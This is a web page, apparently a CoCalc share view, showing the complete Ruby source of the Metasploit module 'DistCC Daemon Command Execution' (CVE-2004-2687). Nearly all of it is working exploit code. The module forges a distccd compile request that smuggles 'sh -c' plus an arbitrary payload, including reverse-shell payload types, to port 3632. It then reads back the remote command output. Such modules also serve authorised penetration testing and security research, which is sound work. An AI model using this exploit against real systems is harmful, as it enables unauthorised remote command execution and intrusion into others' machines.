CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/distcc_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'DistCC Daemon Command Execution',
14
'Description' => %q{
15
This module uses a documented security weakness to execute
16
arbitrary commands on any system running distccd.
17
18
},
19
'Author' => [ 'hdm' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2004-2687'],
24
[ 'OSVDB', '13378' ],
25
[ 'URL', 'http://distcc.samba.org/security.html'],
26
27
],
28
'Platform' => ['unix'],
29
'Arch' => ARCH_CMD,
30
'Privileged' => false,
31
'Payload' =>
32
{
33
'Space' => 1024,
34
'DisableNops' => true,
35
'Compat' =>
36
{
37
'PayloadType' => 'cmd cmd_bash',
38
'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp',
39
}
40
},
41
'Targets' =>
42
[
43
[ 'Automatic Target', { }]
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2002-02-01'
47
))
48
49
register_options(
50
[
51
Opt::RPORT(3632)
52
])
53
end
54
55
def check
56
r = rand_text_alphanumeric(10)
57
connect
58
sock.put(dist_cmd("sh", "-c", "echo #{r}"))
59
60
dtag = rand_text_alphanumeric(10)
61
sock.put("DOTI0000000A#{dtag}\n")
62
63
err, out = read_output
64
if out && out.index(r)
65
return Exploit::CheckCode::Vulnerable
66
end
67
return Exploit::CheckCode::Safe
68
end
69
70
def exploit
71
connect
72
73
distcmd = dist_cmd("sh", "-c", payload.encoded);
74
sock.put(distcmd)
75
76
dtag = rand_text_alphanumeric(10)
77
sock.put("DOTI0000000A#{dtag}\n")
78
79
err, out = read_output
80
81
(err || "").split("\n") do |line|
82
print_status("stderr: #{line}")
83
end
84
(out || "").split("\n") do |line|
85
print_status("stdout: #{line}")
86
end
87
88
handler
89
disconnect
90
end
91
92
def read_output
93
94
res = sock.get_once(24, 5)
95
96
if !(res and res.length == 24)
97
print_status("The remote distccd did not reply to our request")
98
disconnect
99
return
100
end
101
102
# Check STDERR
103
res = sock.get_once(4, 5)
104
res = sock.get_once(8, 5)
105
len = [res].pack("H*").unpack("N")[0]
106
107
return [nil, nil] if not len
108
if (len > 0)
109
err = sock.get_once(len, 5)
110
end
111
112
# Check STDOUT
113
res = sock.get_once(4, 5)
114
res = sock.get_once(8, 5)
115
len = [res].pack("H*").unpack("N")[0]
116
117
return [err, nil] if not len
118
if (len > 0)
119
out = sock.get_once(len, 5)
120
end
121
return [err, out]
122
123
end
124
125
126
# Generate a distccd command
127
def dist_cmd(*args)
128
129
# Convince distccd that this is a compile
130
args.concat(%w{# -c main.c -o main.o})
131
132
# Set distcc 'magic fairy dust' and argument count
133
res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
134
135
# Set the command arguments
136
args.each do |arg|
137
res << sprintf("ARGV%.8x%s", arg.length, arg)
138
end
139
140
return res
141
end
142
end
143
144